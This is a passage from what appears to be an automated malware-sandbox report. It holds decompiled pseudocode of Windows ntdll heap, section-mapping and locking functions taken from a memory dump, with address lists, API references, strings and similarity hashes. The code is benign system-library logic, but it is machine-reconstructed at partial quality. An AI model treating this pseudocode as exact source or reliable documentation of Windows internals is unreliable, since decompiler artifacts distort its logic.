							if( *(_t89 + 0xc) == 0) {
								_push("HEAP: ");
								E6A91B150();
							} else {
								E6A91B150("HEAP[%wZ]: ",  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0xc)) + 0x2c);
							}
							_push(_v8);
							_push(_v12);
							_push(_t149);
							_t75 = E6A91B150("RtlpHeapFreeVirtualMemory failed %lx for heap %p (base %p, size %Ix)\n", _t131);
							goto L4;
						} else {
							_t96 =  *(_t89 + 0x50);
							_t132 = 0x7ffe0380;
							__eflags = _t96;
							if(_t96 != 0) {
								__eflags =  *_t96;
								if( *_t96 == 0) {
									goto L10;
								}
								_t97 =  *( *[fs:0x30] + 0x50) + 0x226;
								L11:
								__eflags =  *_t97;
								if( *_t97 != 0) {
									_t98 =  *[fs:0x30];
									__eflags =  *(_t98 + 0x240) & 0x00000001;
									if(( *(_t98 + 0x240) & 0x00000001) != 0) {
										E6A9D14FB(_t149, _v12, _v8, 7);
									}
								}
								 *((intOrPtr*)(_t149 + 0x234)) =  *((intOrPtr*)(_t149 + 0x234)) + _v8;
								 *((intOrPtr*)(_t149 + 0x210)) =  *((intOrPtr*)(_t149 + 0x210)) + 1;
								 *((intOrPtr*)(_t149 + 0x230)) =  *((intOrPtr*)(_t149 + 0x230)) + 1;
								 *((intOrPtr*)(_t149 + 0x220)) =  *((intOrPtr*)(_t149 + 0x220)) + 1;
								_t101 =  *( *[fs:0x30] + 0x50);
								__eflags = _t101;
								if(_t101 != 0) {
									__eflags =  *_t101;
									if( *_t101 == 0) {
										goto L13;
									}
									_t102 =  *( *[fs:0x30] + 0x50) + 0x226;
									goto L14;
								} else {
									L13:
									_t102 = _t132;
									L14:
									__eflags =  *_t102;
									if( *_t102 != 0) {
										_t103 =  *[fs:0x30];
										__eflags =  *(_t103 + 0x240) & 0x00000001;
										if(( *(_t103 + 0x240) & 0x00000001) != 0) {
											__eflags = E6A937D50();
											if(__eflags != 0) {
												_t132 =  *( *[fs:0x30] + 0x50) + 0x226;
												__eflags =  *( *[fs:0x30] + 0x50) + 0x226;
											}
											E6A9D1411(_t132, _t149, _v12, __eflags, _v8,  *(_t149 + 0x74) << 3, 0, 0,  *_t132 & 0x000000ff);
										}
									}
									_t133 = 0x7ffe038a;
									_t105 =  *( *[fs:0x30] + 0x50);
									__eflags = _t105;
									if(_t105 != 0) {
										__eflags =  *_t105;
										if( *_t105 == 0) {
											goto L16;
										}
										_t106 =  *( *[fs:0x30] + 0x50) + 0x230;
										goto L17;
									} else {
										L16:
										_t106 = _t133;
										L17:
										__eflags =  *_t106;
										if( *_t106 != 0) {
											__eflags = E6A937D50();
											if(__eflags != 0) {
												_t133 =  *( *[fs:0x30] + 0x50) + 0x230;
												__eflags =  *( *[fs:0x30] + 0x50) + 0x230;
											}
											E6A9D1411(_t133, _t149, _v12, __eflags, _v8,  *(_t149 + 0x74) << 3, 0, 0,  *_t133 & 0x000000ff);
										}
										_t75 = _t150[1] & 0x00000013 | 0x00000008;
										_t150[1] = _t75;
										goto L4;
									}
								}
							}
							L10:
							_t97 = _t132;
							goto L11;
						}
					} else {
						goto L4;
					}
				}
			}

0x6a94ac85
0x6a94ac88
0x6a94ac8a
0x6a94ac8d
0x6a94ac91
0x6a94ac99
0x6a94ac9c
0x6a989f57
0x6a989f5b
0x6a989f60
0x6a989f60
0x6a94aca8
0x6a94acae
0x6a94acda
0x6a94acde
0x6a94ace8
0x6a94aceb
0x6a94acee
0x00000000
0x6a94acee
0x6a94acf6
0x6a94acb0
0x6a94acb0
0x6a94acbb
0x6a94acbd
0x6a94acc0
0x6a94acc5
0x6a94adae
0x6a94adb4
0x6a94adb4
0x6a94acd4
0x6a94acd8
0x6a94acf9
0x6a94acff
0x6a94ad04
0x6a94ad08
0x6a94ad09
0x6a94ad10
0x6a94ad12
0x6a94ad18
0x6a989f6f
0x6a989f74
0x6a989f76
0x6a989f7c
0x6a989f84
0x6a989f88
0x6a989f89
0x6a989f90
0x6a989f90
0x6a989f76
0x6a94ad1e
0x6a94ad24
0x6a94ad26
0x6a98a097
0x6a98a09b
0x6a98a0ba
0x6a98a0bf
0x6a98a09d
0x6a98a0b2
0x6a98a0b7
0x6a98a0c5
0x6a98a0c8
0x6a98a0cb
0x6a98a0d2
0x00000000
0x6a94ad2c
0x6a94ad2c
0x6a94ad2f
0x6a94ad34
0x6a94ad36
0x6a989f97
0x6a989f9a
0x00000000
0x00000000
0x6a989fa9
0x6a94ad3e
0x6a94ad3e
0x6a94ad41
0x6a989fb3
0x6a989fb9
0x6a989fc0
0x6a989fd0
0x6a989fd0
0x6a989fc0
0x6a94ad4a
0x6a94ad50
0x6a94ad5c
0x6a94ad62
0x6a94ad68
0x6a94ad6b
0x6a94ad6d
0x6a989fda
0x6a989fdd
0x00000000
0x00000000
0x6a989fec
0x00000000
0x6a94ad73
0x6a94ad73
0x6a94ad73
0x6a94ad75
0x6a94ad75
0x6a94ad78
0x6a989ff6
0x6a989ffc
0x6a98a003
0x6a98a00e
0x6a98a010
0x6a98a01b
0x6a98a01b
0x6a98a01b
0x6a98a038
0x6a98a038
0x6a98a003
0x6a94ad84
0x6a94ad89
0x6a94ad8c
0x6a94ad8e
0x6a98a042
0x6a98a045
0x00000000
0x00000000
0x6a98a054
0x00000000
0x6a94ad94
0x6a94ad94
0x6a94ad94
0x6a94ad96
0x6a94ad96
0x6a94ad99
0x6a98a063
0x6a98a065
0x6a98a070
0x6a98a070
0x6a98a070
0x6a98a08d
0x6a98a08d
0x6a94ada4
0x6a94ada6
0x00000000
0x6a94ada6
0x6a94ad8e
0x6a94ad6d
0x6a94ad3c
0x6a94ad3c
0x00000000
0x6a94ad3c
0x00000000
0x00000000
0x00000000
0x6a94acd8

APIs

ZwFreeVirtualMemory.1105(000000FF,-00000018,?,00004000,?,-00000007,00000001,?,-00000018,?), ref: 6A94AD0B
RtlFillMemoryUlong.1105(00000009,?,FEEEFEEE,?,-00000007,00000001,?,-00000018,?), ref: 6A989F5B

Strings

HEAP: , xrefs: 6A98A0BA
RtlpHeapFreeVirtualMemory failed %lx for heap %p (base %p, size %Ix), xrefs: 6A98A0CD
HEAP[%wZ]: , xrefs: 6A98A0AD

Memory Dump Source

Source File: 0000001D.00000002.423561316.000000006A8F1000.00000020.00020000.sdmp, Offset: 6A8F0000, based on PE: true

Associated: 0000001D.00000002.423252464.000000006A8F0000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.435228307.000000006AA05000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.435264913.000000006AA0B000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.435292089.000000006AA0F000.00000002.00020000.sdmp Download File

Similarity

API ID: Memory$FillFreeUlongVirtual
String ID: HEAP: $HEAP[%wZ]: $RtlpHeapFreeVirtualMemory failed %lx for heap %p (base %p, size %Ix)
API String ID: 3117835691-1340214556
Opcode ID: 41fb18cb21de11dd9239fae59c5a3449055db5fa3b61b10b8ca0cad23e80245d
Instruction ID: 5c2b4299cedc1b735f7c5748c2ab25d16231828e22ab8a6c17b3774b146940a7
Opcode Fuzzy Hash: 41fb18cb21de11dd9239fae59c5a3449055db5fa3b61b10b8ca0cad23e80245d
Instruction Fuzzy Hash: FF81D671244A84EFD726CB68C894B99BBF8FF05314F2145B5E56187B92DB74E940CB10

Uniqueness

Uniqueness Score: -1.00%

Function 6A94D7CA, Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 192
nativememoryCOMMON

Download Yara Rule

C-Code - Quality: 74%

			E6A94D7CA(signed int __ecx, intOrPtr* __edx, char _a4, long* _a8, void** _a12, intOrPtr* _a16) {
				long _v8;
				long _v12;
				long _v16;
				long _v20;
				char _v24;
				signed int _v28;
				long _v32;
				char _v36;
				long _v40;
				long _v44;
				void* _v48;
				signed int _v52;
				long _v56;
				char _v60;
				signed int _v64;
				signed int _v68;
				intOrPtr _v72;
				char* _v76;
				signed int _v80;
				char _v84;
				void* _t70;
				signed int _t77;
				signed int _t83;
				intOrPtr _t97;
				signed int _t99;
				signed int _t100;
				void* _t102;
				signed int _t104;
				void* _t105;
				intOrPtr* _t108;
				long* _t109;
				long _t113;
				void* _t114;
				intOrPtr* _t115;
				signed int _t116;

				_t115 = __edx;
				_t113 = 0;
				_v28 = __ecx;
				_v8 = 0;
				_v12 = 0;
				_v16 = 0;
				_v24 = 0;
				if(__ecx == 0 || __edx == 0 || _a12 == 0) {
					return 0xc000000d;
				} else {
					_t70 = __ecx & 0xfffffffc;
					RtlImageNtHeader(_t70);
					if(_t70 == 0) {
						_t116 = 0xc000007b;
						L27:
						if(_v8 != 0) {
							_push(_v8);
							E6A9595D0();
							_v8 = _t113;
						}
						if(_v16 != 0) {
							_push(_v16);
							_push(0xffffffff);
							E6A9597A0();
						}
						L25:
						return _t116;
					}
					_t104 = 6;
					asm("sbb ebx, ebx");
					_t105 = 2;
					_t102 = (_t100 & _t104) + _t105;
					if(_a4 != 0) {
						_v36 =  *_t115;
						_v32 =  *((intOrPtr*)(_t115 + 4));
						_v20 = 0;
						_v84 = 0x18;
						L33:
						_v80 = _v80 & 0x00000000;
						L10:
						_v68 = _v68 & 0x00000000;
						_v64 = _v64 & 0x00000000;
						_v72 = 0x40;
						_v76 =  &_v36;
						_t77 = E6A94D976( &_v8,  &_v84, _v28);
						_t116 = _t77;
						if(_t113 == 0) {
							_t113 = 0;
							L14:
							if(_t116 < 0) {
								goto L27;
							}
							_push(_v8);
							_push(0x8000000);
							_push(_t102);
							_push(_t113);
							_push(_t113);
							_push(0xf0005);
							_push( &_v12);
							_t116 = E6A9599A0();
							if(_t116 < 0) {
								goto L27;
							}
							_push(_t102);
							_push(_t113);
							_push(1);
							_v44 = _t113;
							_push( &_v24);
							_v40 = _t113;
							_push( &_v44);
							_push(_t113);
							_push(_t113);
							_push( &_v16);
							_push(0xffffffff);
							_push(_v12);
							_t83 = E6A959780();
							_t116 = _t83;
							if(_v12 != 0) {
								_push(_v12);
								_t83 = E6A9595D0();
								_v12 = _t113;
							}
							if(_t116 < 0) {
								goto L27;
							} else {
								RtlImageNtHeader(_v16);
								if(_t83 == 0) {
									_t116 = 0xc000007b;
								}
								if(_t116 < 0) {
									goto L27;
								} else {
									 *_a12 = _v16;
									_t108 = _a16;
									if(_t108 != 0) {
										 *_t108 = _v24;
									}
									_t109 = _a8;
									if(_t109 == 0) {
										if(_v8 != 0) {
											_push(_v8);
											E6A9595D0();
										}
									} else {
										 *_t109 = _v8;
									}
									goto L25;
								}
							}
						}
						_t114 = _v48;
						if(_t114 != 0) {
							asm("lock xadd [edi], eax");
							if((_t77 | 0xffffffff) != 0) {
								goto L12;
							}
							_push( *((intOrPtr*)(_t114 + 4)));
							E6A9595D0();
							_t113 = 0;
							RtlFreeHeap( *( *[fs:0x30] + 0x18), 0, _t114);
							L13:
							RtlFreeHeap( *( *[fs:0x30] + 0x18), _t113, _v20);
							goto L14;
						}
						L12:
						_t113 = 0;
						goto L13;
					}
					_t116 = E6A9265BA(_t105,  *((intOrPtr*)(_t115 + 4)),  &_v36, 0,  &_v60);
					if(_t116 < 0) {
						goto L27;
					}
					_t97 = _v60;
					_t113 = _v32;
					_v20 = _t113;
					if(_t97 != 0) {
						_v36 = _t97;
						_v32 = _v56;
						_t99 = _v52;
					} else {
						_t99 = 0;
					}
					_v84 = 0x18;
					if(_t113 == 0) {
						goto L33;
					} else {
						_v80 = _t99;
						goto L10;
					}
				}
			}

0x6a94d7d6
0x6a94d7d9
0x6a94d7db
0x6a94d7de
0x6a94d7e1
0x6a94d7e4
0x6a94d7e7
0x6a94d7ec
0x00000000
0x6a94d803
0x6a94d803
0x6a94d807
0x6a94d80e
0x6a98b180
0x6a94d95a
0x6a94d95e
0x6a98b203
0x6a98b206
0x6a98b20b
0x6a98b20b
0x6a94d968
0x6a98b213
0x6a98b216
0x6a98b218
0x6a98b218
0x6a94d94f
0x00000000
0x6a94d94f
0x6a94d816
0x6a94d81d
0x6a94d821
0x6a94d822
0x6a94d828
0x6a98b18c
0x6a98b192
0x6a98b195
0x6a98b198
0x6a98b19f
0x6a98b19f
0x6a94d86f
0x6a94d872
0x6a94d879
0x6a94d883
0x6a94d88a
0x6a94d88d
0x6a94d892
0x6a94d896
0x6a98b1e5
0x6a94d8bb
0x6a94d8bd
0x00000000
0x00000000
0x6a94d8c3
0x6a94d8c9
0x6a94d8ce
0x6a94d8cf
0x6a94d8d0
0x6a94d8d1
0x6a94d8d6
0x6a94d8dc
0x6a94d8e0
0x00000000
0x00000000
0x6a94d8e2
0x6a94d8e3
0x6a94d8e4
0x6a94d8e9
0x6a94d8ec
0x6a94d8f0
0x6a94d8f3
0x6a94d8f4
0x6a94d8f5
0x6a94d8f9
0x6a94d8fa
0x6a94d8fc
0x6a94d8ff
0x6a94d908
0x6a94d90a
0x6a94d90c
0x6a94d90f
0x6a94d914
0x6a94d914
0x6a94d919
0x00000000
0x6a94d91b
0x6a94d91e
0x6a94d925
0x6a94d96f
0x6a94d96f
0x6a94d929
0x00000000
0x6a94d92b
0x6a94d931
0x6a94d933
0x6a94d938
0x6a94d93d
0x6a94d93d
0x6a94d93f
0x6a94d944
0x6a98b1f0
0x6a98b1f6
0x6a98b1f9
0x6a98b1f9
0x6a94d94a
0x6a94d94d
0x6a94d94d
0x00000000
0x6a94d944
0x6a94d929
0x6a94d919
0x6a94d89c
0x6a94d8a1
0x6a98b1bc
0x6a98b1c0
0x00000000
0x00000000
0x6a98b1c6
0x6a98b1c9
0x6a98b1d5
0x6a98b1db
0x6a94d8a9
0x6a94d8b6
0x00000000
0x6a94d8b6
0x6a94d8a7
0x6a94d8a7
0x00000000
0x6a94d8a7
0x6a94d83f
0x6a94d843
0x00000000
0x00000000
0x6a94d849
0x6a94d84c
0x6a94d84f
0x6a94d855
0x6a98b1a8
0x6a98b1ae
0x6a98b1b1
0x6a94d85b
0x6a94d85b
0x6a94d85b
0x6a94d85d
0x6a94d866
0x00000000
0x6a94d86c
0x6a94d86c
0x00000000
0x6a94d86c
0x6a94d866

APIs

RtlImageNtHeader.1105(?,00000000,?,02BE0000), ref: 6A94D807

Part of subcall function 6A92B060: RtlImageNtHeaderEx.1105(00000001,?,00000000,00000000,?,?,?,6A94381C,?,6A9EFF48,00000050,6A943E98,?,6A93F900,00000000,00000000), ref: 6A92B076

Part of subcall function 6A9265BA: RtlInitUnicodeStringEx.1105(?,?,?), ref: 6A9265CA

RtlFreeHeap.1105(?,00000000,?,?,6A94D77E,00000000,?,?,00000000,?,02BE0000), ref: 6A94D8B6
ZwCreateSection.1105(00000000,000F0005,00000000,00000000,02BE0000,08000000,00000000,6A94D77E,00000000,?,?,00000000,?,02BE0000), ref: 6A94D8D7
ZwMapViewOfSection.1105(00000000,000000FF,00000000,00000000,00000000,?,?,00000001,00000000,02BE0000,00000000,000F0005,00000000,00000000,02BE0000,08000000), ref: 6A94D8FF
ZwClose.1105(00000000,00000000,000000FF,00000000,00000000,00000000,?,?,00000001,00000000,02BE0000,00000000,000F0005,00000000,00000000,02BE0000), ref: 6A94D90F
RtlImageNtHeader.1105(00000000,00000000,000000FF,00000000,00000000,00000000,?,?,00000001,00000000,02BE0000,00000000,000F0005,00000000,00000000,02BE0000), ref: 6A94D91E
ZwClose.1105(00000000,?,6A94D77E,00000000,?,?,00000000,?,02BE0000), ref: 6A98B1C9
RtlFreeHeap.1105(?,00000000,?,00000000,?,6A94D77E,00000000,?,?,00000000,?,02BE0000), ref: 6A98B1DB

Part of subcall function 6A94D976: ZwCreateFile.1105(00000000,80100080,00000018,?,00000000,00000000,00000005,00000001,00000000,00000000,00000000,?,02BE0000,00000000,00000000), ref: 6A94D999

ZwClose.1105(00000000,00000000,00000000,000000FF,00000000,00000000,00000000,?,?,00000001,00000000,02BE0000,00000000,000F0005,00000000,00000000), ref: 6A98B1F9
ZwUnmapViewOfSection.1105(000000FF,00000000,6A94D77E,00000000,?,?,00000000,?,02BE0000), ref: 6A98B218

Strings

@, xrefs: 6A94D883

Memory Dump Source

Source File: 0000001D.00000002.423561316.000000006A8F1000.00000020.00020000.sdmp, Offset: 6A8F0000, based on PE: true

Associated: 0000001D.00000002.423252464.000000006A8F0000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.435228307.000000006AA05000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.435264913.000000006AA0B000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.435292089.000000006AA0F000.00000002.00020000.sdmp Download File

Similarity

API ID: CloseHeaderImageSection$CreateFreeHeapView$FileInitStringUnicodeUnmap
String ID: @
API String ID: 3014096824-2766056989
Opcode ID: f9e51fa7ed1cb36f85b7a86adbf40520465290fbffd2fdb35cf32ec65272afcf
Instruction ID: a056f5bab92d774588403e56551fbcecaec285be9f42f94a7d51031d6410fea3
Opcode Fuzzy Hash: f9e51fa7ed1cb36f85b7a86adbf40520465290fbffd2fdb35cf32ec65272afcf
Instruction Fuzzy Hash: D3615DB5D01219AFDB11CFA9C844BAEBBF8EF85714F21416AE824E7351EB74DA01CB50

Uniqueness

Uniqueness Score: -1.00%

Function 6A91395E, Relevance: 19.7, APIs: 13, Instructions: 172
COMMON

Download Yara Rule

C-Code - Quality: 83%

			E6A91395E(void* __ecx, signed int __edx) {
				signed int _v8;
				signed int _v12;
				signed int _v16;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				intOrPtr _t67;
				void* _t77;
				intOrPtr* _t81;
				signed int _t93;
				void* _t94;
				intOrPtr* _t97;
				intOrPtr* _t104;
				void* _t112;
				long _t113;
				signed int _t114;
				void* _t123;

				_v8 =  *0x6aa0d360 ^ _t114;
				_v16 = __edx;
				_t93 = 0;
				_t112 = __ecx;
				_v12 = _v12 & 0;
				E6A93FAD0( *0x6aa084cc + 4);
				_t110 =  *0x6aa084cc + 8;
				_t97 =  *_t110;
				while(_t97 != _t110) {
					_t113 = _t97 - 0x1c;
					_t67 =  *((intOrPtr*)(_t112 + 0xc));
					if( *((intOrPtr*)(_t113 + 0x10)) !=  *((intOrPtr*)(_t112 + 8)) ||  *((intOrPtr*)(_t113 + 0x14)) != _t67 ||  *((intOrPtr*)(_t113 + 8)) !=  *_t112) {
						L21:
						_t97 =  *_t97;
						continue;
					} else {
						_t69 =  *((intOrPtr*)(_t113 + 0xc));
						if( *((intOrPtr*)(_t113 + 0xc)) !=  *((intOrPtr*)(_t112 + 4))) {
							goto L21;
						}
						_t94 = _t113 + 0x28;
						E6A932280(_t69, _t94);
						if( *(_t113 + 0x5c) == 2) {
							__eflags = _v16;
							if(_v16 == 0) {
								RtlFreeHeap( *( *[fs:0x30] + 0x18), 0,  *(_t113 + 0x58));
								 *(_t113 + 0x58) =  *(_t113 + 0x58) & 0x00000000;
								 *(_t113 + 0x5c) =  *(_t113 + 0x5c) & 0x00000000;
								L8:
								asm("lock inc dword [esi+0x50]");
								 *(_t113 + 0x5c) = 1;
								E6A92FFB0(_t94, _t112, _t94);
								_t123 =  *0x6aa084cc + 4;
								E6A93FA00(_t94, _t97, _t112,  *0x6aa084cc + 4);
								while(1) {
									_t95 = 0;
									_t77 = E6A913ACA(0, _t112, _t113, _t112, _t113, _t123, 0);
									_t124 = _t77 - 0xc000022d;
									if(_t77 == 0xc000022d) {
										_t95 = 0xc000022d;
									}
									_t110 = _t113;
									if(E6A913ACA(_t95, _t112, _t113, _t112, _t113, _t124, 1) == 0xc000022d) {
										_t93 = 0xc000022d;
									}
									E6A932280(_t113 + 0x28, _t113 + 0x28);
									_v12 = _v12 + 1;
									_t104 = _t113 + 0x2c;
									_t81 =  *_t104;
									while(_t81 != _t104) {
										 *(_t81 + 0x60) =  *(_t81 + 0x60) & 0x00000000;
										_t81 =  *_t81;
									}
									if( *(_t113 + 0x58) != 0) {
										_t112 =  *(_t113 + 0x58);
										 *(_t113 + 0x58) =  *(_t113 + 0x58) & 0x00000000;
										E6A92FFB0(_t93, _t112, _t113 + 0x28);
										continue;
									}
									if(_t93 != 0) {
										__eflags = _t93 - 0xc000022d;
										if(_t93 == 0xc000022d) {
											 *(_t113 + 0x58) = _t112;
											 *(_t113 + 0x5c) = 2;
											E6A9A2DA1(_t113);
										}
										L17:
										E6A92FFB0(_t93, _t112, _t113 + 0x28);
										E6A94DE9E(_t113);
										L18:
										if(_v12 > 1) {
											_t113 = 0;
											_t49 = _t112 + 8; // 0x8
											_push(0);
											_push(0);
											_push(_t93);
											_push( *((intOrPtr*)(_t112 + 0x18)));
											_push(_t112);
											E6A95A3A0();
											__eflags = _t93;
											if(_t93 == 0) {
												RtlFreeHeap( *( *[fs:0x30] + 0x18), 0, _t112);
											}
											_t93 = 0x80;
										}
										return E6A95B640(_t93, _t93, _v8 ^ _t114, _t110, _t112, _t113);
									}
									 *(_t113 + 0x5c) =  *(_t113 + 0x5c) & _t93;
									if( *((intOrPtr*)(_t113 + 0x18)) != _t93) {
										__eflags =  *((intOrPtr*)(_t112 + 0x10)) -  *((intOrPtr*)(_t113 + 0x18));
										if( *((intOrPtr*)(_t112 + 0x10)) -  *((intOrPtr*)(_t113 + 0x18)) > 0) {
											goto L16;
										}
										goto L17;
									}
									L16:
									 *((intOrPtr*)(_t113 + 0x18)) =  *((intOrPtr*)(_t112 + 0x10));
									goto L17;
								}
							}
							_push(_t94);
							L27:
							E6A92FFB0(_t94, _t112);
							_t93 = 0x80;
							break;
						}
						if( *(_t113 + 0x5c) == 1) {
							__eflags = _v16;
							_push(_t94);
							if(_v16 != 0) {
								goto L27;
							}
							 *(_t113 + 0x58) = _t112;
							E6A92FFB0(_t94, _t112);
							_t93 = 0x103;
							break;
						}
						goto L8;
					}
				}
				E6A93FA00(_t93, _t97, _t112,  *0x6aa084cc + 4);
				goto L18;
			}

0x6a91396d
0x6a91397b
0x6a91397e
0x6a913980
0x6a913982
0x6a913986
0x6a913991
0x6a913994
0x6a913996
0x6a9139a1
0x6a9139a7
0x6a9139aa
0x6a913aa7
0x6a913aa7
0x00000000
0x6a9139c4
0x6a9139c4
0x6a9139ca
0x00000000
0x00000000
0x6a9139d0
0x6a9139d4
0x6a9139dd
0x6a96fffc
0x6a970000
0x6a970020
0x6a970025
0x6a970029
0x6a9139ed
0x6a9139ed
0x6a9139f2
0x6a9139f9
0x6a913a03
0x6a913a07
0x6a913a0c
0x6a913a0c
0x6a913a13
0x6a913a1d
0x6a913a1f
0x6a97004b
0x6a97004b
0x6a913a27
0x6a913a37
0x6a970052
0x6a970052
0x6a913a41
0x6a913a46
0x6a913a49
0x6a913a4c
0x6a913a4e
0x6a913a9f
0x6a913aa3
0x6a913aa3
0x6a913a56
0x6a970059
0x6a97005f
0x6a970064
0x00000000
0x6a970064
0x6a913a5e
0x6a970073
0x6a970075
0x6a97007d
0x6a970080
0x6a970087
0x6a970087
0x6a913a72
0x6a913a76
0x6a913a7d
0x6a913a82
0x6a913a86
0x6a970091
0x6a970093
0x6a970096
0x6a970097
0x6a970098
0x6a970099
0x6a97009c
0x6a97009e
0x6a9700a3
0x6a9700a5
0x6a9700b2
0x6a9700b2
0x6a9700b7
0x6a9700b7
0x6a913a9e
0x6a913a9e
0x6a913a64
0x6a913a6a
0x6a913ac4
0x6a913ac6
0x00000000
0x00000000
0x00000000
0x6a913ac8
0x6a913a6c
0x6a913a6f
0x00000000
0x6a913a6f
0x6a913a0c
0x6a970002
0x6a970003
0x6a970003
0x6a970008
0x00000000
0x6a970008
0x6a9139e7
0x6a970032
0x6a970036
0x6a970037
0x00000000
0x00000000
0x6a970039
0x6a97003c
0x6a970041
0x00000000
0x6a970041
0x00000000
0x6a9139e7
0x6a9139aa
0x6a913ab7
0x00000000

APIs

RtlAcquireSRWLockShared.1105(?,00000000,00000000,00000000), ref: 6A913986
RtlAcquireSRWLockExclusive.1105(?,?,00000000,00000000,00000000), ref: 6A9139D4
RtlReleaseSRWLockExclusive.1105(?), ref: 6A9139F9
RtlReleaseSRWLockShared.1105(?,?), ref: 6A913A07
RtlAcquireSRWLockExclusive.1105(?,00000001,00000000,?,?), ref: 6A913A41
RtlReleaseSRWLockExclusive.1105(?,?,?,?,?,00000001,00000000,?,?), ref: 6A913A76
RtlReleaseSRWLockShared.1105(?,?,00000000,00000000,00000000), ref: 6A913AB7

Memory Dump Source

Source File: 0000001D.00000002.423561316.000000006A8F1000.00000020.00020000.sdmp, Offset: 6A8F0000, based on PE: true

Associated: 0000001D.00000002.423252464.000000006A8F0000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.435228307.000000006AA05000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.435264913.000000006AA0B000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.435292089.000000006AA0F000.00000002.00020000.sdmp Download File

Similarity

API ID: Lock$ExclusiveRelease$AcquireShared
String ID:
API String ID: 1363392280-0
Opcode ID: 1b982a6d7a91beeb91aa326bb08308e602a26e163679d22547c6587b676f5aba
Instruction ID: 96fd7a157d73d49587856816ee72437b569d238e432d4db74e999be48b0c37fa
Opcode Fuzzy Hash: 1b982a6d7a91beeb91aa326bb08308e602a26e163679d22547c6587b676f5aba
Instruction Fuzzy Hash: 47519971604709AFDB60CB69C8C8A6BB7B8BF4531DF21882DD11687A11DF75E845CB90

Uniqueness

Uniqueness Score: -1.00%

Function 6A93A830, Relevance: 19.6, APIs: 7, Strings: 4, Instructions: 350
COMMONCrypto

Download Yara Rule

C-Code - Quality: 70%

			E6A93A830(intOrPtr __ecx, signed int __edx, signed short _a4) {
				void* _v5;
				signed short _v12;
				intOrPtr _v16;
				signed int _v20;
				signed short _v24;
				signed short _v28;
				signed int _v32;
				signed short _v36;
				signed int _v40;
				intOrPtr _v44;
				intOrPtr _v48;
				signed short* _v52;
				void* __ebx;
				void* __edi;
				void* __ebp;
				signed int _t131;
				signed char _t134;
				signed int _t138;
				char _t141;
				signed short _t142;
				void* _t146;
				signed short _t147;
				intOrPtr* _t149;
				intOrPtr _t156;
				signed int _t167;
				signed int _t168;
				signed short* _t173;
				signed short _t174;
				intOrPtr* _t182;
				signed short _t184;
				intOrPtr* _t187;
				intOrPtr _t197;
				intOrPtr _t206;
				intOrPtr _t210;
				signed short _t211;
				intOrPtr* _t212;
				signed short _t214;
				signed int _t216;
				intOrPtr _t217;
				signed char _t225;
				signed short _t235;
				signed int _t237;
				intOrPtr* _t238;
				signed int _t242;
				unsigned int _t245;
				signed int _t251;
				intOrPtr* _t252;
				signed int _t253;
				intOrPtr* _t255;
				signed int _t256;
				void* _t257;
				void* _t260;

				_t256 = __edx;
				_t206 = __ecx;
				_t235 = _a4;
				_v44 = __ecx;
				_v24 = _t235;
				if(_t235 == 0) {
					L41:
					return _t131;
				}
				_t251 = ( *(__edx + 4) ^  *(__ecx + 0x54)) & 0x0000ffff;
				if(_t251 == 0) {
					__eflags =  *0x6aa08748 - 1;
					if( *0x6aa08748 >= 1) {
						__eflags =  *(__edx + 2) & 0x00000008;
						if(( *(__edx + 2) & 0x00000008) == 0) {
							_t110 = _t256 + 0xfff; // 0xfe7
							__eflags = (_t110 & 0xfffff000) - __edx;
							if((_t110 & 0xfffff000) != __edx) {
								_t197 =  *[fs:0x30];
								__eflags =  *(_t197 + 0xc);
								if( *(_t197 + 0xc) == 0) {
									_push("HEAP: ");
									E6A91B150();
									_t260 = _t257 + 4;
								} else {
									E6A91B150("HEAP[%wZ]: ",  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0xc)) + 0x2c);
									_t260 = _t257 + 8;
								}
								_push("((FreeBlock->Flags & HEAP_ENTRY_DECOMMITTED) || (ROUND_UP_TO_POWER2(FreeBlock, PAGE_SIZE) == (ULONG_PTR)FreeBlock))");
								E6A91B150();
								_t257 = _t260 + 4;
								__eflags =  *0x6aa07bc8;
								if(__eflags == 0) {
									E6A9D2073(_t206, 1, _t251, __eflags);
								}
								_t235 = _v24;
							}
						}
					}
				}
				_t134 =  *((intOrPtr*)(_t256 + 6));
				if(_t134 == 0) {
					_t210 = _t206;
					_v48 = _t206;
				} else {
					_t210 = (_t256 & 0xffff0000) - ((_t134 & 0x000000ff) << 0x10) + 0x10000;
					_v48 = _t210;
				}
				_v5 =  *(_t256 + 2);
				do {
					if(_t235 > 0xfe00) {
						_v12 = 0xfe00;
						__eflags = _t235 - 0xfe01;
						if(_t235 == 0xfe01) {
							_v12 = 0xfdf0;
						}
						_t138 = 0;
					} else {
						_v12 = _t235 & 0x0000ffff;
						_t138 = _v5;
					}
					 *(_t256 + 2) = _t138;
					 *(_t256 + 4) =  *(_t206 + 0x54) ^ _t251;
					_t236 =  *((intOrPtr*)(_t210 + 0x18));
					if( *((intOrPtr*)(_t210 + 0x18)) == _t210) {
						_t141 = 0;
					} else {
						_t141 = (_t256 - _t210 >> 0x10) + 1;
						_v40 = _t141;
						if(_t141 >= 0xfe) {
							_push(_t210);
							E6A9DA80D(_t236, _t256, _t210, 0);
							_t141 = _v40;
						}
					}
					 *(_t256 + 2) =  *(_t256 + 2) & 0x000000f0;
					 *((char*)(_t256 + 6)) = _t141;
					_t142 = _v12;
					 *_t256 = _t142;
					 *(_t256 + 3) = 0;
					_t211 = _t142 & 0x0000ffff;
					 *((char*)(_t256 + 7)) = 0;
					_v20 = _t211;
					if(( *(_t206 + 0x40) & 0x00000040) != 0) {
						_t119 = _t256 + 0x10; // -8
						E6A96D5E0(_t119, _t211 * 8 - 0x10, 0xfeeefeee);
						 *(_t256 + 2) =  *(_t256 + 2) | 0x00000004;
						_t211 = _v20;
					}
					_t252 =  *((intOrPtr*)(_t206 + 0xb4));
					if(_t252 == 0) {
						L56:
						_t212 =  *((intOrPtr*)(_t206 + 0xc0));
						_t146 = _t206 + 0xc0;
						goto L19;
					} else {
